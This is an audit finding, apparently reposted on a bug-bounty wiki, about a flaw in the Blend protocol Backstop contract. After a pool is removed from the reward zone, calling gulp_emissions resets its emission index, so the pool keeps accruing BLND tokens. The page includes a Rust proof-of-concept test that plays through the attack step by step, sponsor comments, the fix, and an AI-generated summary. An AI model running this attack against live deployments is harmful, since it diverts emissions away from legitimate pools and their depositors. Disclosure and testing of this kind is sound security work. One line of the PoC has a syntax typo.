Pools outside of the reward zone can keep receiving Blend tokens
A pool removed from the reward zone could still accrue Blend emissions because the gulp function reset its emission index. An attacker could create a pool, get it into the reward zone, then remove it and keep receiving emissions, diverting tokens from legitimate pools.
Submitted by Testerbot, also found by 0xabhay, 0xAlix2, adamIdarrha, aldarion, carrotsmuggler, jasonxiale, Kirkeelee, rapid, rscodes, and Tigerfrake
Finding description and impact
The Blend Protocol utilizes the Backstop contract as a curator system for lending pools created in the factory. The concept is that depositors in the Backstop contract act as a first line of capital loss if a pool accrues bad debt during its operation. These backstop depositors are incentivized through a portion of the interest charged to borrowers for each specific pool. Additionally, the system emits Blend tokens to pools that are within the reward zone.
A critical invariant in the Backstop system is that Blend tokens should only be emitted to pools within the reward zone. However, this report highlights a flaw that allows a pool to continue receiving Blend emissions even after it has been removed from the reward zone, thereby completely undermining the Backstop system.
To understand this issue, we first examine the code responsible for removing a pool, specifically the remove_pool() function. Within this function, the following line is crucial:
// ....
set_rz_emissions(e, &to_remove, i128::MAX,to_remove_emis_data.accrued, false);
// ....
This line sets the reward zone index of the removed pool to i128::MAX, which is intended to prevent the pool from accumulating further emissions.
Next, we consider the update_rz_emis_data() function, where the root cause of the issue lies:
// ....
if emission_data.index < gulp_index || to_gulp {
if pool_balance.non_queued_tokens() > 0 {
let new_emissions = pool_balance.non_queued_tokens().fixed_mul_floor(gulp_index - emission_data.index, SCALAR_14).unwrap_optimized();
accrued += new_emissions;
return set_rz_emissions(e, pool, gulp_index, accrued, to_gulp);
} else {
return set_rz_emissions(e, pool, gulp_index, accrued, to_gulp);
}
// ....
}
In the if clause, the function updates the reward zone emissions information for a pool if either of the following conditions is met:
emission_data.index < gulp_index: This condition will be false since theemission_data.indexof the pool was set toi128::MAXduringremove_pool().to_gulp == true: This condition will be true if the current function is invoked via thegulp_emissions()function.
If the pool has non_queued_tones() == 0, then at the end of the update_rz_emis_data function, the code resets the index value for the pool, effectively allowing it to continue accruing Blend rewards even though it is no longer in the reward zone.
This issue is significant as it breaks the intended functionality of the Backstop system, allowing pools outside the reward zone to receive emissions; which will lead to the completely malfunction of the Blend protocol as there will be more Blend emitted to pools than actually Blend sent by the emitter contract as well as breaking the curation system.
Proof of Concept
As this issue is hard to follow, I would like to present a coded proof of concept that shows its validity. Follow the next instructions to run the coded PoC:
First, we need a couple of helper functions in the main contract (these are just getter functions).
- Add the following to the
backstop/src/contract.rsfile:
To the trait Backstop:
////////////////////////// ADDED FOR THE PoC ///////////////////////////
fn get_user_balance(e: Env, pool: Address, user: Address) -> UserBalance;
fn get_pool_balance(e: Env, pool: Address) -> PoolBalance;
fn get_rz_emission_data(e: Env, pool: Address) -> storage::RzEmissionData;
fn get_rz_emission_index(e: Env) -> i128;
fn get_backstop_emission_data(e: Env, pool: Address) -> storage::BackstopEmissionData;
fn get_user_emission_data(e: Env, pool: Address, user: Address) -> storage::UserEmissionData;
fn get_reward_zone(e: Env) -> Vec<Address>;
fn get_last_distribution_time(e: Env) -> u64;
To the impl BackstopContract:
////////////////////////// ADDED FOR THE PoC ///////////////////////////
fn get_user_balance(e: Env, pool: Address, user: Address) -> UserBalance {
storage::get_user_balance(&e, &pool, &user)
}
fn get_pool_balance(e: Env, pool: Address) -> PoolBalance {
storage::get_pool_balance(&e, &pool)
}
fn get_rz_emission_index(e: Env) -> i128 {
storage::get_rz_emission_index(&e)
}
fn get_rz_emission_data(e: Env, pool: Address) -> storage::RzEmissionData {
storage::get_rz_emis_data(&e, &pool).unwrap()
}
fn get_backstop_emission_data(e: Env, pool: Address) -> storage::BackstopEmissionData {
storage::get_backstop_emis_data(&e, &pool).unwrap()
}
fn get_user_emission_data(e: Env, pool: Address, user: Address) -> storage::UserEmissionData {
storage::get_user_emis_data(&e, &pool, &user).unwrap()
}
fn get_reward_zone(e: Env) -> Vec<Address> {
storage::get_reward_zone(&e)
}
fn get_last_distribution_time(e: Env) -> u64 {
storage::get_last_distribution_time(&e)
}
- Create a file
test_blend_c4_audit.rsinto thetest-suites/tests/folder and paste the following:
#![cfg(test)]
use soroban_sdk::{testutils::Address as _, vec, Address, String};
use test_suites::{
create_fixture_with_data,
test_fixture::{TokenIndex, SCALAR_7},
};
#[test]
fn test_backstop_emissions_without_being_in_reward_zone() {
let mut fixture = create_fixture_with_data(true);
let bstop_token = &fixture.lp;
let frodo = fixture.users[0].clone();
// Lets create a second pool which can be created by the attacker.
fixture.create_pool(
String::from_str(&fixture.env, "MaliciousPool"),
0_1000000,
6,
1_0000000,
);
let legit_pool = &fixture.pools[0];
let malicious_pool = &fixture.pools[1];
// Frodo makes a deposit into the malicious pool.
fixture.backstop.deposit(&frodo, &malicious_pool.pool.address, &(50_000 * SCALAR_7));
// We add the malicious pool to the reward zone.
fixture.backstop.add_reward(&malicious_pool.pool.address, &None);
// We get the reward zone and assert that it contains the two pools.
let get_the_reward_zone = fixture.backstop.get_reward_zone();
assert_eq!(get_the_reward_zone.len(), 2);
assert!(get_the_reward_zone.contains(&legit_pool.pool.address));
assert!(get_the_reward_zone.contains(&malicious_pool.pool.address));
// Some time passes and some blend is emitted.
fixture.jump(2 * 24 * 60 * 60);
fixture.emitter.distribute();
fixture.backstop.distribute();
// At this point we can observe that the global index has increased and thefore the malicious pool has accrued some emissions.
let rz_emission_index = fixture.backstop.get_rz_emission_index();
let rz_pool_emission_data_malicious_pool =
fixture.backstop.get_rz_emission_data(&malicious_pool.pool.address);
println!("RZ Emission Index: {:?}", rz_emission_index);
println!("RZ Emission Data Malicious Pool: {:?}", rz_pool_emission_data_malicious_pool.index);
println!("RZ Emission Data Malicious Pool Accrued: {:?}", rz_pool_emission_data_malicious_pool.accrued);
println!();
// Now frodo requests a queue withdrawal.
fixture.backstop.queue_withdrawal(&frodo, &malicious_pool.pool.address, &(50_000 * SCALAR_7));
// Now we can observe that the index of the malicious pool is updated to be equal to the global index and some emissions have been accrued.
let rz_emission_index = fixture.backstop.get_rz_emission_index();
let rz_pool_emission_data_malicious_pool = fixture.backstop.get_rz_emission_data(&malicious_pool.pool.address);
println!("RZ Emission Index: {:?}", rz_emission_index);
println!("RZ Emission Data Malicious Pool: {:?}", rz_pool_emission_data_malicious_pool.index);
println!("RZ Emission Data Malicious Pool Accrued: {:?}", rz_pool_emission_data_malicious_pool.accrued);
println!();
// The withdrawal is processed and the malicious pool is removed from the reward zone.
fixture.jump(17 * 24 * 60 * 60);
fixture.emitter.distribute();
fixture.backstop.distribute();
fixture.backstop.withdraw(&frodo, &malicious_pool.pool.address, &(50_000 * SCALAR_7));
fixture.backstop.remove_reward(&malicious_pool.pool.address);
// We get the reward zone and assert that the malicious pool is no longer in it.
let get_the_reward_zone = fixture.backstop.get_reward_zone();
assert_eq!(get_the_reward_zone.len(), 1);
assert!(!get_the_reward_zone.contains(&malicious_pool.pool.address));
// Now we can observe that the index of the malicious pool has been updated to the maximum possible value.
// due to the removal. The accrued emissions still remain.
let rz_pool_emission_data_malicious_pool = fixture.backstop.get_rz_emission_data(&malicious_pool.pool.address);
println!("RZ Emission Data Malicious Pool: {:?}", rz_pool_emission_data_malicious_pool.index);
println!("RZ Emission Data Malicious Pool Accrued: {:?}", rz_pool_emission_data_malicious_pool.accrued);
println!();
// Gulp the emissions to accrue the pending emissions.
malicious_pool.pool.gulp_emissions();
// Due to the vulnerability described, we can observe that gulp emissions reseted the index of the malicious pool.
let rz_emission_index = fixture.backstop.get_rz_emission_index();
let rz_pool_emission_data_malicious_pool = fixture.backstop.get_rz_emission_data(&malicious_pool.pool.address);
println!("RZ Emission Index: {:?}", rz_emission_index);
println!("RZ Emission Data Malicious Pool: {:?}", rz_pool_emission_data_malicious_pool.index);
println!("RZ Emission Data Malicious Pool Accrued: {:?}", rz_pool_emission_data_malicious_pool.accrued);
println!();
// Now we can deposit again into the malicious pool which can continue to accrue emissions even if it is not in the reward zone.
fixture.backstop.deposit(&frodo, &malicious_pool.pool.address, &(50_000 * SCALAR_7));
fixture.jump(2 * 24 * 60 * 60);
fixture.emitter.distribute();
fixture.backstop.distribute();
fixture.backstop.deposit(&frodo, &malicious_pool.pool.address, &(1 * SCALAR_7));
let rz_emission_index = fixture.backstop.get_rz_emission_index();
let rz_pool_emission_data_malicious_pool = fixture.backstop.get_rz_emission_data(&malicious_pool.pool.address;
println!("RZ Emission Index: {:?}", rz_emission_index);
println!("RZ Emission Data Malicious Pool: {:?}", rz_pool_emission_data_malicious_pool.index);
println!("RZ Emission Data Malicious Pool Accrued: {:?}", rz_pool_emission_data_malicious_pool.accrued);
println!();
// The pool can even gulp emissions again!.
malicious_pool.pool.gulp_emissions();
let rz_emission_index = fixture.backstop.get_rz_emission_index();
let rz_pool_emission_data_malicious_pool =
fixture.backstop.get_rz_emission_data(&malicious_pool.pool.address);
println!("RZ Emission Index: {:?}", rz_emission_index);
println!("RZ Emission Data Malicious Pool: {:?}", rz_pool_emission_data_malicious_pool.index);
println!("RZ Emission Data Malicious Pool Accrued: {:?}", rz_pool_emission_data_malicious_pool.accrued);
println!();
}
- Run
make cleanand thenmake build. - Run
cargo test --test test_blend_c4_audit -- --nocapture -- test_backstop_emissions_without_being_in_reward_zone.
Recommended mitigation steps
To address this issue is important to consider in the update_rz_emis_data function to not update the index of pools that no longer are in the reward zone.
markus_pl10 (Script3) confirmed
Validated this is an issue.
Note that this only affects emissions distributed by the protocol. It could cause emissions to become “unclaimable” for users, as the malicious pools would effectively capture some of the BLND going to the legit pools.
No user deposited funds are at risk.
I have a hard time seeing this as more than a medium. I would need to see maximum economic impact to bring it to high per the docs. None of the reports highlight a large impact.
Fixed to revert
rz_indexchange to how it worked in v1 (plus some optimizations to support more reward zone pools), removing this issue.
Commit 77373e3 to remove
rz indexfrom backstop emissions.
Status: Mitigation confirmed. Full details in reports from 0xAlix2, 0x007, Testerbot and oakcobalt.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the update_rz_emis_data function resets a pool's emission index to the current global index when gulp_emissions is called, even if the pool was removed from the reward zone and its index was set to a maximum value.
Impact
Pools outside the reward zone could capture Blend emissions, potentially making emissions unclaimable for legitimate users, though no user deposited funds are at risk.
What the attacker needed
Ability to create a pool; ability to deposit into backstop; pool added to reward zone
The fix
The issue was fixed by reverting the rz_index change to how it worked in v1 and removing rz index from backstop emissions.
How it was found
- Create a new pool and deposit into the backstop for that pool.
- Add the pool to the reward zone.
- Let time pass and distribute emissions so the pool accrues some.
- Queue and process a withdrawal, then remove the pool from the reward zone.
- Call gulp_emissions on the pool, which resets its emission index.
- Deposit again and observe that the pool continues to accrue emissions despite not being in the reward zone.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The Blend protocol rewards certain lending pools with its own tokens. These pools are on a list called the reward zone. When a pool is removed from that list, it should stop getting tokens. But a bug let a removed pool keep earning tokens by calling a function that resets its internal counter. This meant an attacker could take tokens meant for honest pools.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.